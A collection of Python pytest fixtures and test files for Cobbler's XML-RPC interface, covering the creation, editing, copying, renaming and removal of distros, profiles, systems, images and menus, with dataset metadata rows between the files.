str], None]: """ Fixture that adds a snippet to Cobbler. """ def _snippet_add(name: str, data: str) -> None: remote.write_autoinstall_snippet(name, data, token) return _snippet_add @pytest.fixture(scope="function") def snippet_remove(remote: CobblerXMLRPCInterface, token: str) -> Callable[[str], None]: """ Fixture that removed a snippet from Cobbler. """ def _snippet_remove(name: str): remote.remove_autoinstall_snippet(name, token) return _snippet_remove @pytest.fixture(scope="function") def create_distro(remote: CobblerXMLRPCInterface, token: str): """ Fixture that creates a distro and adds it to Cobbler. """ def _create_distro( name: str, arch: str, breed: str, path_kernel: str, path_initrd: str ) -> str: distro = remote.new_distro(token) remote.modify_distro(distro, "name", name, token) remote.modify_distro(distro, "arch", arch, token) remote.modify_distro(distro, "breed", breed, token) remote.modify_distro(distro, "kernel", path_kernel, token) remote.modify_distro(distro, "initrd", path_initrd, token) remote.save_distro(distro, token) return distro return _create_distro @pytest.fixture(scope="function") def remove_distro(remote: CobblerXMLRPCInterface, token: str): """ Fixture that removes a distro from Cobbler. """ def _remove_distro(name: str): remote.remove_distro(name, token) return _remove_distro @pytest.fixture(scope="function") def create_profile(remote: CobblerXMLRPCInterface, token: str): """ Fixture that creates a profile and adds it to Cobbler. """ def _create_profile( name: str, distro: str, kernel_options: Union[Dict[str, Any], str] ) -> str: profile = remote.new_profile(token) remote.modify_profile(profile, "name", name, token) remote.modify_profile(profile, "distro", distro, token) remote.modify_profile(profile, "kernel_options", kernel_options, token) remote.save_profile(profile, token) return profile return _create_profile @pytest.fixture(scope="function") def remove_profile(remote: CobblerXMLRPCInterface, token: str): """ Fixture that removes a profile from Cobbler. """ def _remove_profile(name: str): remote.remove_profile(name, token) return _remove_profile @pytest.fixture(scope="function") def create_system(remote: CobblerXMLRPCInterface, token: str): """ Fixture that creates a system and adds it to Cobbler. """ def _create_system(name: str, profile: str) -> str: system = remote.new_system(token) remote.modify_system(system, "name", name, token) remote.modify_system(system, "profile", profile, token) remote.save_system(system, token) return system return _create_system @pytest.fixture(scope="function") def remove_system(remote: CobblerXMLRPCInterface, token: str): """ Fixture that removes a system from Cobbler. """ def _remove_system(name: str): remote.remove_system(name, token) return _remove_system @pytest.fixture(scope="function") def create_autoinstall_template( remote: CobblerXMLRPCInterface, token: str ) -> Callable[[str, str], None]: """ Fixture that creates an autoinstall template and adds it to Cobbler. """ def _create_autoinstall_template(filename: str, content: str): remote.write_autoinstall_template(filename, content, token) return _create_autoinstall_template @pytest.fixture(scope="function") def remove_autoinstall_template( remote: CobblerXMLRPCInterface, token: str ) -> Callable[[str], None]: """ TOFixture that removes an autoinstall template from Cobbler.DO """ def _remove_autoinstall_template(name: str): remote.remove_autoinstall_template(name, token) return _remove_autoinstall_template @pytest.fixture(scope="function") def create_repo( remote: CobblerXMLRPCInterface, token: str ) -> Callable[[str, str, bool], str]: """ Fixture that creates a repository and adds it to Cobbler. """ def _create_repo(name: str, mirror: str, mirror_locally: bool): repo = remote.new_repo(token) remote.modify_repo(repo, "name", name, token) remote.modify_repo(repo, "mirror", mirror, token) remote.modify_repo(repo, "mirror_locally", mirror_locally, token) remote.save_repo(repo, token) return repo return _create_repo @pytest.fixture(scope="function") def remove_repo(remote: CobblerXMLRPCInterface, token: str): """ Fixture that removes a repo from Cobbler. """ def _remove_repo(name: str): remote.remove_repo(name, token) return _remove_repo @pytest.fixture(scope="function") def create_menu(remote: CobblerXMLRPCInterface, token: str): """ Fixture that creates a menu and adds it to Cobbler. """ def _create_menu(name: str, display_name: str): menu_id = remote.new_menu(token) remote.modify_menu(menu_id, "name", name, token) remote.modify_menu(menu_id, "display_name", display_name, token) remote.save_menu(menu_id, token) return menu_id return _create_menu @pytest.fixture(scope="function") def remove_menu(remote: CobblerXMLRPCInterface, token: str): """ Fixture that removes a menu from Cobbler. """ def _remove_menu(name: str): remote.remove_menu(name, token) return _remove_menu @pytest.fixture(scope="function") def create_testprofile(remote: CobblerXMLRPCInterface, token: str): """ Create a profile with the name "testprofile0" :param remote: See the corresponding fixture. :param token: See the corresponding fixture. """ profile = remote.new_profile(token) remote.modify_profile(profile, "name", "testprofile0", token) remote.modify_profile(profile, "distro", "testdistro0", token) remote.modify_profile(profile, "kernel_options", "a=1 b=2 c=3 c=4 c=5 d e", token) remote.modify_profile(profile, "menu", "testmenu0", token) remote.save_profile(profile, token) @pytest.fixture(scope="function") def remove_testprofile(remote: CobblerXMLRPCInterface, token: str): """ Removes the profile with the name "testprofile0". :param remote: See the corresponding fixture. :param token: See the corresponding fixture. """ yield remote.remove_profile("testprofile0", token) @pytest.fixture(scope="function") def remove_testdistro(remote: CobblerXMLRPCInterface, token: str): """ Removes the distro "testdistro0" from the running cobbler after the test. :param remote: See the corresponding fixture. :param token: See the corresponding fixture. """ yield remote.remove_distro("testdistro0", token, False) @pytest.fixture(scope="function") def create_testdistro( remote: CobblerXMLRPCInterface, token: str, fk_kernel: str, fk_initrd: str, create_kernel_initrd: Callable[[str, str], str], ): """ Creates a distro "testdistro0" with the architecture "x86_64", breed "suse" and the fixtures which are setting the fake kernel and initrd. :param remote: See the corresponding fixture. :param token: See the corresponding fixture. :param fk_kernel: See the corresponding fixture. :param fk_initrd: See the corresponding fixture. """ folder = create_kernel_initrd(fk_kernel, fk_initrd) distro = remote.new_distro(token) remote.modify_distro(distro, "name", "testdistro0", token) remote.modify_distro(distro, "arch", "x86_64", token) remote.modify_distro(distro, "breed", "suse", token) remote.modify_distro(distro, "kernel", os.path.join(folder, fk_kernel), token) remote.modify_distro(distro, "initrd", os.path.join(folder, fk_initrd), token) remote.save_distro(distro, token) @pytest.fixture(scope="function") def create_testsystem(remote: CobblerXMLRPCInterface, token: str): """ Add a system with the name "testsystem0", the system is assigend to the profile "testprofile0". :param remote: See the corresponding fixture. :param token: See the corresponding fixture. """ system = remote.new_system(token) remote.modify_system(system, "name", "testsystem0", token) remote.modify_system(system, "profile", "testprofile0", token) remote.save_system(system, token) @pytest.fixture() def remove_testsystem(remote: CobblerXMLRPCInterface, token: str): """ Remove a system "testsystem0". :param remote: See the corresponding fixture. :param token: See the corresponding fixture. """ yield remote.remove_system("testsystem0", token, False) @pytest.fixture(scope="function") def create_testrepo(remote: CobblerXMLRPCInterface, token: str): """ Create a testrepository with the name "testrepo0" :param remote: See the corresponding fixture. :param token: See the corresponding fixture. """ repo = remote.new_repo(token) remote.modify_repo(repo, "name", "testrepo0", token) remote.modify_repo(repo, "arch", "x86_64", token) remote.modify_repo(repo, "mirror", "http://something", token) remote.save_repo(repo, token) @pytest.fixture(scope="function") def remove_testrepo(remote: CobblerXMLRPCInterface, token: str): """ Remove a repo "testrepo0". :param remote: See the corresponding fixture. :param token: See the corresponding fixture. """ yield remote.remove_repo("testrepo0", token, False) @pytest.fixture(scope="function") def create_testimage(remote: CobblerXMLRPCInterface, token: str): """ Create a testrepository with the name "testimage0" :param remote: See the corresponding fixture. :param token: See the corresponding fixture. """ image = remote.new_image(token) remote.modify_image(image, "name", "testimage0", token) remote.save_image(image, token) @pytest.fixture(scope="function") def remove_testimage(remote: CobblerXMLRPCInterface, token: str): """ Remove the image "testimage0". :param remote: See the corresponding fixture. :param token: See the corresponding fixture. """ yield remote.remove_image("testimage0", token, False) @pytest.fixture(scope="function") def create_testmenu(remote: CobblerXMLRPCInterface, token: str): """ Create a menu with the name "testmenu0" :param remote: See the corresponding fixture. :param token: See the corresponding fixture. """ menu = remote.new_menu(token) remote.modify_menu(menu, "name", "testmenu0", token) remote.save_menu(menu, token) @pytest.fixture(scope="function") def remove_testmenu(remote: CobblerXMLRPCInterface, token: str): """ Remove a menu "testmenu0". :param remote: See the corresponding fixture. :param token: See the corresponding fixture. """ yield remote.remove_menu("testmenu0", token, False) @pytest.fixture(scope="function") def template_files(redhat_autoinstall: str, suse_autoyast: str, ubuntu_preseed: str): """ Create the template files and remove them afterwards. :return: """ folder = "/var/lib/cobbler/templates" Path(os.path.join(folder, redhat_autoinstall)).touch() Path(os.path.join(folder, suse_autoyast)).touch() Path(os.path.join(folder, ubuntu_preseed)).touch() yield os.remove(os.path.join(folder, redhat_autoinstall)) os.remove(os.path.join(folder, suse_autoyast)) os.remove(os.path.join(folder, ubuntu_preseed))
13,142
Python
.py
342
33.564327
118
0.707379
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,043
system_test.py
cobbler_cobbler/tests/xmlrpcapi/system_test.py
""" Test module that contains all tests that are related to XML-RPC methods that perform actions with a Cobbler system. """ import os from typing import Any, Callable, Union import pytest from cobbler.cexceptions import CX from cobbler.remote import CobblerXMLRPCInterface def test_get_systems(remote: CobblerXMLRPCInterface, token: str): """ Test: get systems """ # Arrange --> Nothing to arrange # Act result = remote.get_systems(token) # Assert assert result == [] @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_testprofile", ) @pytest.mark.parametrize( "field_name,field_value", [ ("comment", "test comment"), ("enable_ipxe", True), ("enable_ipxe", False), ("kernel_options", "a=1 b=2 c=3 c=4 c=5 d e"), ("kernel_options_post", "a=1 b=2 c=3 c=4 c=5 d e"), ("autoinstall", "test.ks"), ("autoinstall", "test.xml"), ("autoinstall", "test.seed"), ("autoinstall_meta", "a=1 b=2 c=3 c=4 c=5 d e"), ("name", "testsystem0"), ("netboot_enabled", True), ("netboot_enabled", False), ("owners", "user1 user2 user3"), ("profile", "testprofile0"), ("repos_enabled", True), ("repos_enabled", False), ("status", "development"), ("status", "testing"), ("status", "acceptance"), ("status", "production"), ("proxy", "testproxy"), ("server", "1.1.1.1"), # ("boot_loaders", "pxe ipxe grub"), FIXME: This raises currently but it did not in the past ("virt_auto_boot", True), ("virt_auto_boot", False), ("virt_auto_boot", "yes"), ("virt_auto_boot", "no"), ("virt_cpus", "<<inherit>>"), ("virt_cpus", 1), ("virt_cpus", 2), ("virt_cpus", "<<inherit>>"), ("virt_file_size", "<<inherit>>"), ("virt_file_size", 5), ("virt_file_size", 10), ("virt_disk_driver", "<<inherit>>"), ("virt_disk_driver", "raw"), ("virt_disk_driver", "qcow2"), ("virt_disk_driver", "vdmk"), ("virt_ram", "<<inherit>>"), ("virt_ram", 256), ("virt_ram", 1024), ("virt_type", "<<inherit>>"), ("virt_type", "xenpv"), ("virt_type", "xenfv"), ("virt_type", "qemu"), ("virt_type", "kvm"), ("virt_type", "vmware"), ("virt_type", "openvz"), ("virt_path", "<<inherit>>"), ("virt_path", "/path/to/test"), ("virt_pxe_boot", True), ("virt_pxe_boot", False), ("power_type", "ipmilanplus"), ("power_address", "127.0.0.1"), ("power_id", "pmachine:lpar1"), ("power_pass", "pass"), ("power_user", "user"), ], ) def test_create_system_positive( remote: CobblerXMLRPCInterface, token: str, template_files: Any, field_name: str, field_value: Union[str, bool, int], ): """ Test: create/edit a system object """ # Arrange system = remote.new_system(token) remote.modify_system(system, "name", "testsystem0", token) remote.modify_system(system, "profile", "testprofile0", token) # Act result = remote.modify_system(system, field_name, field_value, token) # Assert assert result @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_testprofile", ) @pytest.mark.parametrize( "field_name,field_value", [ ("autoinstall", "/path/to/bad/autoinstall"), ("profile", "badprofile"), ("boot_loaders", "badloader"), ("virt_cpus", "a"), ("virt_file_size", "a"), ("virt_ram", "a"), ("virt_type", "bad"), ("power_type", "bla"), ], ) def test_create_system_negative( remote: CobblerXMLRPCInterface, token: str, field_name: str, field_value: str ): """ Test: create/edit a system object """ # Arrange system = remote.new_system(token) remote.modify_system(system, "name", "testsystem0", token) remote.modify_system(system, "profile", "testprofile0", token) # Act & Assert try: remote.modify_system(system, field_name, field_value, token) except (CX, TypeError, ValueError, OSError): assert True else: pytest.fail("Bad field did not raise an exception!") def test_find_system(remote: CobblerXMLRPCInterface, token: str): """ Test: find a system object """ # Arrange --> Nothing to arrange # Act result = remote.find_system(criteria={"name": "notexisting"}, token=token) # Assert --> A not exiting system returns an empty list assert result == [] @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_testprofile", ) def test_add_interface_to_system(remote: CobblerXMLRPCInterface, token: str): """ Test: add an interface to a system """ # Arrange system = remote.new_system(token) remote.modify_system(system, "name", "testsystem0", token) remote.modify_system(system, "profile", "testprofile0", token) # Act result = remote.modify_system( system, "modify_interface", {"macaddress-eth0": "aa:bb:cc:dd:ee:ff"}, token ) remote.save_system(system, token) # Assert --> returns true if successful assert result assert ( remote.get_system("testsystem0") .get("interfaces", {}) # type: ignore .get("eth0", {}) .get("mac_address") == "aa:bb:cc:dd:ee:ff" ) @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_testprofile", ) def test_remove_interface_from_system(remote: CobblerXMLRPCInterface, token: str): """ Test: remove an interface from a system """ # Arrange system = remote.new_system(token) remote.modify_system(system, "name", "testsystem0", token) remote.modify_system(system, "profile", "testprofile0", token) remote.modify_system( system, "modify_interface", {"macaddress-eth0": "aa:bb:cc:dd:ee:ff"}, token ) remote.save_system(system, token) # Act result = remote.modify_system( system, "delete_interface", {"interface": "eth0"}, token ) remote.save_system(system, token) # Assert --> returns true if successful assert result assert ( remote.get_system("testsystem0").get("interfaces", {}).get("eth0", None) # type: ignore is None ) @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_testprofile", ) def test_rename_interface(remote: CobblerXMLRPCInterface, token: str): """ Test: rename an interface on a system """ # Arrange system = remote.new_system(token) remote.modify_system(system, "name", "testsystem0", token) remote.modify_system(system, "profile", "testprofile0", token) result_add = remote.modify_system( system, "modify_interface", {"macaddress-eth0": "aa:bb:cc:dd:ee:ff"}, token ) remote.save_system(system, token) # Act result_rename = remote.modify_system( system, "rename_interface", {"interface": "eth0", "rename_interface": "eth_new"}, token, ) remote.save_system(system, token) # Assert --> returns true if successful assert result_add assert result_rename assert ( remote.get_system("testsystem0").get("interfaces", {}).get("eth0", None) # type: ignore is None ) assert ( remote.get_system("testsystem0") .get("interfaces", {}) # type: ignore .get("eth_new", {}) .get("mac_address") == "aa:bb:cc:dd:ee:ff" ) @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_testprofile", "create_testsystem", ) def test_copy_system(remote: CobblerXMLRPCInterface, token: str): """ Test: copy a system object """ # Arrange system = remote.get_item_handle("system", "testsystem0") # Act result = remote.copy_system(system, "testsystemcopy", token) # Assert assert result @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_testprofile", "create_testsystem", ) def test_rename_system(remote: CobblerXMLRPCInterface, token: str): """ Test: rename a system object """ # Arrange --> Done in fixtures also. system = remote.get_item_handle("system", "testsystem0") # Act result = remote.rename_system(system, "testsystem1", token) # Assert assert result def test_remove_system( request: "pytest.FixtureRequest", create_kernel_initrd: Callable[[str, str], str], fk_kernel: str, fk_initrd: str, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, str], str], create_system: Callable[[str, str], str], remote: CobblerXMLRPCInterface, token: str, ): """ Test: remove a system object """ # Arrange folder = create_kernel_initrd(fk_kernel, fk_initrd) distro_name = ( # type: ignore request.node.originalname if request.node.originalname else request.node.name # type: ignore ) profile_name = ( # type: ignore request.node.originalname if request.node.originalname else request.node.name # type: ignore ) system_name = ( # type: ignore request.node.originalname if request.node.originalname else request.node.name # type: ignore ) folder = create_kernel_initrd(fk_kernel, fk_initrd) kernel_path = os.path.join(folder, fk_kernel) initrd_path = os.path.join(folder, fk_initrd) create_distro(distro_name, "x86_64", "suse", kernel_path, initrd_path) # type: ignore create_profile(profile_name, distro_name, "") # type: ignore create_system(system_name, profile_name) # type: ignore # Act result = remote.remove_system(system_name, token) # type: ignore # Assert assert result def test_get_repo_config_for_system(remote: CobblerXMLRPCInterface): """ Test: get repository configuration of a system """ # Arrange --> There is nothing to be arranged # Act result = remote.get_repo_config_for_system("testprofile0") # type: ignore # Assert --> Let the test pass if the call is okay. assert True
10,334
Python
.py
316
26.867089
115
0.619607
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,044
image_test.py
cobbler_cobbler/tests/xmlrpcapi/image_test.py
""" Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to images. """ from typing import Callable from cobbler.items.image import Image from cobbler.remote import CobblerXMLRPCInterface class TestImage: """ TODO """ def test_create_image(self, remote: CobblerXMLRPCInterface, token: str): """ Test: create/edit of an image object """ # Act image = remote.new_image(token) # Assert assert remote.modify_image(image, "name", "testimage0", token) assert remote.save_image(image, token) image_list = remote.get_images(token) assert len(image_list) == 1 def test_get_images(self, remote: CobblerXMLRPCInterface): """ Test: get images """ # Arrange # Act remote.get_images() # Assert def test_get_image( self, remote: CobblerXMLRPCInterface, create_image: Callable[[], Image] ): """ Test: Get an image object """ # Arrange test_image = create_image() # Act result_image = remote.get_image(test_image.name) # Assert assert result_image.get("name") == test_image.name # type: ignore[reportUnknownMemberType] def test_find_image( self, remote: CobblerXMLRPCInterface, token: str, create_image: Callable[[], Image], ): """ Test: Find an image object """ # Arrange test_image = create_image() # Act result = remote.find_image({"name": test_image.name}, True, False, token) print(result) # Assert - We want to find exactly the one item we added assert len(result) == 1 assert result[0].get("name") == test_image.name def test_copy_image( self, remote: CobblerXMLRPCInterface, token: str, create_image: Callable[[], Image], ): """ Test: Copy an image object """ # Arrange test_image = create_image() new_name = "testimagecopy" # Act result = remote.copy_image(test_image.uid, new_name, token) # Assert assert result def test_rename_image( self, remote: CobblerXMLRPCInterface, token: str, create_image: Callable[[], Image], ): """ Test: Rename an image object """ # Arrange test_image = create_image() new_name = "testimage_renamed" # Act result = remote.rename_image(test_image.uid, new_name, token) # Assert assert result def test_remove_image( self, remote: CobblerXMLRPCInterface, token: str, create_image: Callable[[], Image], ): """ Test: remove an image object """ # Arrange test_image = create_image() # Act result = remote.remove_image(test_image.name, token) # Assert assert result
3,085
Python
.py
105
21.257143
118
0.57747
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,045
distro_test.py
cobbler_cobbler/tests/xmlrpcapi/distro_test.py
import os from typing import Any, Callable import pytest from cobbler import enums from cobbler.api import CobblerAPI from cobbler.cexceptions import CX from cobbler.remote import CobblerXMLRPCInterface @pytest.fixture(autouse=True) def cleanup_create_distro_positive(cobbler_api: CobblerAPI): yield cobbler_api.remove_distro("create_distro_positive") def test_get_distros(remote: CobblerXMLRPCInterface, token: str): """ Test: get distros """ # Arrange --> Nothing to arrange # Act result = remote.get_distros(token) # Assert assert result == [] @pytest.mark.parametrize( "field_name,field_value", [ ("arch", "i386"), ("breed", "debian"), ("breed", "freebsd"), ("breed", "redhat"), ("breed", "suse"), ("breed", "ubuntu"), ("breed", "unix"), ("breed", "vmware"), ("breed", "windows"), ("breed", "xen"), ("breed", "generic"), ("comment", "test comment"), ("initrd", ""), ("name", "testdistro0"), ("kernel", ""), ("kernel_options", "a=1 b=2 c=3 c=4 c=5 d e"), ("kernel_options_post", "a=1 b=2 c=3 c=4 c=5 d e"), ("autoinstall_meta", "a=1 b=2 c=3 c=4 c=5 d e"), ("os_version", "rhel4"), ("owners", "user1 user2 user3"), ("boot_loaders", "pxe ipxe grub"), ], ) def test_create_distro_positive( remote: CobblerXMLRPCInterface, token: str, create_kernel_initrd: Callable[[str, str], str], fk_kernel: str, fk_initrd: str, field_name: str, field_value: str, cleanup_create_distro_positive: Any, ): """ Test: create/edit a distro with valid values """ # Arrange --> Nothing to do. folder = create_kernel_initrd(fk_kernel, fk_initrd) distro = remote.new_distro(token) remote.modify_distro(distro, "name", "create_distro_positive", token) # Act if field_name == "kernel": field_value = os.path.join(folder, fk_kernel) if field_name == "initrd": field_value = os.path.join(folder, fk_initrd) result = remote.modify_distro(distro, field_name, field_value, token) # Assert assert result @pytest.mark.parametrize( "field_name,field_value", [ ("arch", "badarch"), ("breed", "badbreed"), # ("boot_loader", "badloader") FIXME: This does not raise but did in the past ], ) def test_create_distro_negative( remote: CobblerXMLRPCInterface, token: str, field_name: str, field_value: str ): """ Test: create/edit a distro with invalid values """ # Arrange distro = remote.new_distro(token) remote.modify_distro(distro, "name", "testdistro0", token) # Act & Assert try: remote.modify_distro(distro, field_name, field_value, token) except (CX, TypeError, ValueError): assert True else: pytest.fail("Bad field did not raise an exception!") @pytest.mark.usefixtures("create_testdistro", "remove_testdistro") def test_get_distro(remote: CobblerXMLRPCInterface, fk_initrd: str, fk_kernel: str): """ Test: get a distro object """ # Arrange --> Done in fixture # Act distro = remote.get_distro("testdistro0") # Assert assert distro.get("name") == "testdistro0" # type: ignore assert distro.get("redhat_management_key") == enums.VALUE_INHERITED # type: ignore assert fk_initrd in distro.get("initrd") # type: ignore assert fk_kernel in distro.get("kernel") # type: ignore def test_get_system(remote: CobblerXMLRPCInterface): """ Test: get a system object """ # Arrange --> There should be no system present. --> Nothing to Init. # Act system = remote.get_system("testsystem0") # Assert assert system is "~" def test_find_distro(remote: CobblerXMLRPCInterface, token: str): """ Test: find a distro object """ # Arrange --> No distros means no setup # Act result = remote.find_distro(criteria={"name": "testdistro0"}, token=token) # Assert assert result == [] @pytest.mark.usefixtures("create_testdistro", "remove_testdistro") def test_copy_distro(remote: CobblerXMLRPCInterface, token: str): """ Test: copy a distro object """ # Arrange --> Done in the fixture # Act distro = remote.get_item_handle("distro", "testdistro0") result = remote.copy_distro(distro, "testdistrocopy", token) # Assert assert result # Cleanup --> Plus fixture remote.remove_distro("testdistrocopy", token) @pytest.mark.usefixtures("create_testdistro") def test_rename_distro(remote: CobblerXMLRPCInterface, token: str): """ Test: rename a distro object """ # Arrange distro = remote.get_item_handle("distro", "testdistro0") # Act result = remote.rename_distro(distro, "testdistro1", token) # Assert assert result # Cleanup remote.remove_distro("testdistro1", token) def test_remove_distro( request: "pytest.FixtureRequest", create_kernel_initrd: Callable[[str, str], str], fk_kernel: str, fk_initrd: str, create_distro: Callable[[str, str, str, str, str], str], remote: CobblerXMLRPCInterface, token: str, ): """ Test: remove a distro object """ # Arrange distro_name = ( # type: ignore request.node.originalname if request.node.originalname else request.node.name # type: ignore ) folder = create_kernel_initrd(fk_kernel, fk_initrd) kernel_path = os.path.join(folder, fk_kernel) initrd_path = os.path.join(folder, fk_initrd) create_distro(distro_name, "x86_64", "suse", kernel_path, initrd_path) # type: ignore # Act result = remote.remove_distro(distro_name, token) # type: ignore # Assert assert result
5,809
Python
.py
176
27.727273
101
0.646996
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,046
input_converters.py
cobbler_cobbler/tests/xmlrpcapi/input_converters.py
""" Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to input conversion. """ from typing import Any, Dict, List import pytest from cobbler.remote import CobblerXMLRPCInterface from tests.conftest import does_not_raise @pytest.mark.parametrize( "input_options,expected_result,expected_exception", [([], [], does_not_raise())] ) def test_input_string_or_list_no_inherit( remote: CobblerXMLRPCInterface, input_options: List[str], expected_result: List[str], expected_exception: Any, ): """ Test: check Cobbler status """ # Arrange & Act with expected_exception: result = remote.input_string_or_list_no_inherit(input_options) # Assert assert result == expected_result @pytest.mark.parametrize( "test_input,expected_result,expected_excpetion", [ ("<<inherit>>", "<<inherit>>", does_not_raise()), ("delete", [], does_not_raise()), (["test"], ["test"], does_not_raise()), ("my_test", ["my_test"], does_not_raise()), ("my_test my_test", ["my_test", "my_test"], does_not_raise()), (5, None, pytest.raises(TypeError)), ], ) def test_input_string_or_list( remote: CobblerXMLRPCInterface, test_input: Any, expected_result: Any, expected_excpetion: Any, ): """ Test: check Cobbler status """ # Arrange & Act with expected_excpetion: result = remote.input_string_or_list(test_input) # Assert assert result == expected_result @pytest.mark.parametrize( "testinput,expected_result,possible_exception", [ ("<<inherit>>", "<<inherit>>", does_not_raise()), ([""], None, pytest.raises(TypeError)), ("a b=10 c=abc", {"a": None, "b": "10", "c": "abc"}, does_not_raise()), ({"ab": 0}, {"ab": 0}, does_not_raise()), (0, None, pytest.raises(TypeError)), ], ) def test_input_string_or_dict( remote: CobblerXMLRPCInterface, testinput: Any, expected_result: Any, possible_exception: Any, ): """ Test: check Cobbler status """ # Arrange & Act with possible_exception: result = remote.input_string_or_dict(testinput) # Assert assert result == expected_result @pytest.mark.parametrize( "input_options,input_allow_multiples,expected_result,expected_exception", [({}, True, {}, does_not_raise())], ) def test_input_string_or_dict_no_inherit( remote: CobblerXMLRPCInterface, input_options: Dict[str, str], input_allow_multiples: bool, expected_result: Dict[str, str], expected_exception: Any, ): """ Test: check Cobbler status """ # Arrange & Act with expected_exception: result = remote.input_string_or_dict_no_inherit( input_options, allow_multiples=input_allow_multiples ) # Assert assert result == expected_result @pytest.mark.parametrize( "testinput,expected_exception,expected_result", [ (True, does_not_raise(), True), (1, does_not_raise(), True), ("oN", does_not_raise(), True), ("yEs", does_not_raise(), True), ("Y", does_not_raise(), True), ("Test", does_not_raise(), False), (-5, does_not_raise(), False), (0.5, pytest.raises(TypeError), False), ], ) def test_input_boolean( remote: CobblerXMLRPCInterface, testinput: Any, expected_exception: Any, expected_result: bool, ): """ Test: check Cobbler status """ # Arrange & Act with expected_exception: result = remote.input_boolean(testinput) # Assert assert result == expected_result @pytest.mark.parametrize( "testinput,expected_exception,expected_result", [ (True, does_not_raise(), 1), (1, does_not_raise(), 1), ("1", does_not_raise(), 1), ("text", pytest.raises(TypeError), 1), ("5.0", pytest.raises(TypeError), 0), ([], pytest.raises(TypeError), 0), ({}, pytest.raises(TypeError), 0), (-5, does_not_raise(), -5), (0.5, does_not_raise(), 0), ], ) def test_input_int( remote: CobblerXMLRPCInterface, testinput: Any, expected_exception: Any, expected_result: int, ): """ Test: check Cobbler status """ # Arrange & Act with expected_exception: result = remote.input_int(testinput) # Assert assert result == expected_result
4,499
Python
.py
150
24.393333
110
0.62214
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,047
menu_test.py
cobbler_cobbler/tests/xmlrpcapi/menu_test.py
""" Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to menus. """ import pytest from cobbler.remote import CobblerXMLRPCInterface @pytest.fixture def create_menu(remote: CobblerXMLRPCInterface, token: str): """ Creates a Menu "testmenu0" with a display_name "Test Menu0" :param remote: The xmlrpc object to connect to. :param token: The token to authenticate against the remote object. """ menu = remote.new_menu(token) remote.modify_menu(menu, "name", "testmenu0", token) remote.modify_menu(menu, "display_name", "Test Menu0", token) remote.save_menu(menu, token) @pytest.fixture def remove_menu(remote: CobblerXMLRPCInterface, token: str): """ Removes the Menu "testmenu0" which can be created with create_menu. :param remote: The xmlrpc object to connect to. :param token: The token to authenticate against the remote object. """ yield remote.remove_menu("testmenu0", token) class TestMenu: """ TODO """ @pytest.mark.usefixtures("create_testmenu", "remove_testmenu") def test_create_submenu(self, remote: CobblerXMLRPCInterface, token: str): """ Test: create/edit a submenu object """ # Arrange menus = remote.get_menus(token) # Act submenu = remote.new_menu(token) # Assert assert remote.modify_menu(submenu, "name", "testsubmenu0", token) assert remote.modify_menu(submenu, "parent", "testmenu0", token) assert remote.save_menu(submenu, token) new_menus = remote.get_menus(token) assert len(new_menus) == len(menus) + 1 remote.remove_menu("testsubmenu0", token, False) @pytest.mark.usefixtures("remove_menu") def test_create_menu(self, remote: CobblerXMLRPCInterface, token: str): """ Test: create/edit a menu object """ # Arrange --> Nothing to arrange # Act & Assert menu = remote.new_menu(token) assert remote.modify_menu(menu, "name", "testmenu0", token) assert remote.modify_menu(menu, "display_name", "Test Menu0", token) assert remote.save_menu(menu, token) def test_get_menus(self, remote: CobblerXMLRPCInterface): """ Test: Get menus """ # Arrange --> Nothing to do # Act result = remote.get_menus() # Assert assert result == [] @pytest.mark.usefixtures("create_menu", "remove_menu") def test_get_menu(self, remote: CobblerXMLRPCInterface, token: str): """ Test: Get a menu object """ # Arrange --> Done in fixture # Act menu = remote.get_menu("testmenu0") # Assert assert menu.get("name") == "testmenu0" # type: ignore[reportUnknownMemberType] @pytest.mark.usefixtures("create_menu", "remove_menu") def test_find_menu(self, remote: CobblerXMLRPCInterface, token: str): """ Test: find a menu object """ # Arrange --> Done in fixture # Act result = remote.find_menu({"name": "testmenu0"}, False, False, token) # Assert assert result @pytest.mark.usefixtures("create_menu", "remove_menu") def test_copy_menu(self, remote: CobblerXMLRPCInterface, token: str): """ Test: copy a menu object """ # Arrange --> Done in fixture # Act menu = remote.get_item_handle("menu", "testmenu0") # Assert assert remote.copy_menu(menu, "testmenucopy", token) # Cleanup remote.remove_menu("testmenucopy", token) @pytest.mark.usefixtures("create_menu") def test_rename_menu(self, remote: CobblerXMLRPCInterface, token: str): """ Test: rename a menu object """ # Arrange # Act menu = remote.get_item_handle("menu", "testmenu0") result = remote.rename_menu(menu, "testmenu1", token) # Assert assert result # Cleanup remote.remove_menu("testmenu1", token) @pytest.mark.usefixtures("create_menu") def test_remove_menu(self, remote: CobblerXMLRPCInterface, token: str): """ Test: remove a menu object """ # Arrange --> Done in fixture # Act result = remote.remove_menu("testmenu0", token) # Assert assert result
4,446
Python
.py
120
29.5
117
0.630719
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,048
item_test.py
cobbler_cobbler/tests/xmlrpcapi/item_test.py
